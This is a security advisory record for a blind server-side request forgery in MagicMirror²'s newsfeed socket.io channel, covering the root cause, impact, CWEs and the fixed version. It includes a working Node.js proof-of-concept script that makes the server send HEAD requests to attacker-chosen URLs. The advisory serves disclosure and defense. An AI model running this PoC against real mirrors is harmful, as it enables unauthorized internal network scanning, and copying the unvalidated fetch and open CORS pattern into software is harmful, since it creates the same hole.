{"id":"GHSA-998g-7v5w-cr7g","summary":"MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery","details":"# Vulnerability — Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror² newsfeed)\n\n\u003e Analysis of the PoC `exploit-ssrf-newsfeed.js`.\n\u003e Target: `newsfeed/node_helper.js` of MagicMirror², socket.io namespace `/newsfeed`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-newsfeed.js` |\n| **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` |\n| **Precondition** | reach the mirror's HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: \"HEAD\" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`.\n\nThis gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a \"blind-ish\" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.\n\nThe actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service's log), since the `canFrame` field alone leaks little.\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-newsfeed.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\nconst TARGET = process.env.MM || \"https://target/\";\nconst URL_TO_HIT = process.env.SSRF_URL || \"https://webhook.site\";\nconst socket = io(`${TARGET}/newsfeed`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"ARTICLE_URL_STATUS\") {\n\t\tconsole.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);\n\t\tconsole.log(\"[!!!] Server performed a server-side HEAD request to the internal host (SSRF).\");\n\t\tprocess.exit(0);\n\t}\n});\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -\u003e ${URL_TO_HIT}`);\n\tsocket.emit(\"CHECK_ARTICLE_URL\", { url: URL_TO_HIT });\n});\nsetTimeout(() =\u003e { console.log(\"[*] timeout\"); process.exit(1); }, 12000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nasync checkArticleUrl(url) {\n  const res = await fetch(url, { method: \"HEAD\" });\n  const canFrame = !res.headers.get(\"x-frame-options\")\n                && !/frame-ancestors/i.test(res.headers.get(\"content-security-policy\") || \"\");\n  this.sendSocketNotification(\"ARTICLE_URL_STATUS\", { url, canFrame });\n}\n```\n\n---\n\n## Impact\n\n- **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive.\n- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC).\n- Although it's HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD.\n\n---\n\n\n\n### References\n- CWE-918: Server-Side Request Forgery (SSRF)\n- CWE-306: Missing Authentication for Critical Function\n- CWE-942: Permissive Cross-domain Policy with Untrusted Domains\n- OWASP: SSRF Prevention Cheat Sheet\n\n\u003e This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.","aliases":["CVE-2026-63642"],"modified":"2026-08-18T17:41:04.517510Z","published":"2026-08-18T17:26:46Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-918"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-08-18T17:26:46Z"},"references":[{"type":"WEB","url":"https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-998g-7v5w-cr7g"},{"type":"WEB","url":"https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"},{"type":"WEB","url":"https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"},{"type":"PACKAGE","url":"https://github.com/MagicMirrorOrg/MagicMirror"},{"type":"WEB","url":"https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"}],"affected":[{"package":{"name":"magicmirror","ecosystem":"npm","purl":"pkg:npm/magicmirror"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.37.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-998g-7v5w-cr7g/GHSA-998g-7v5w-cr7g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N"}]}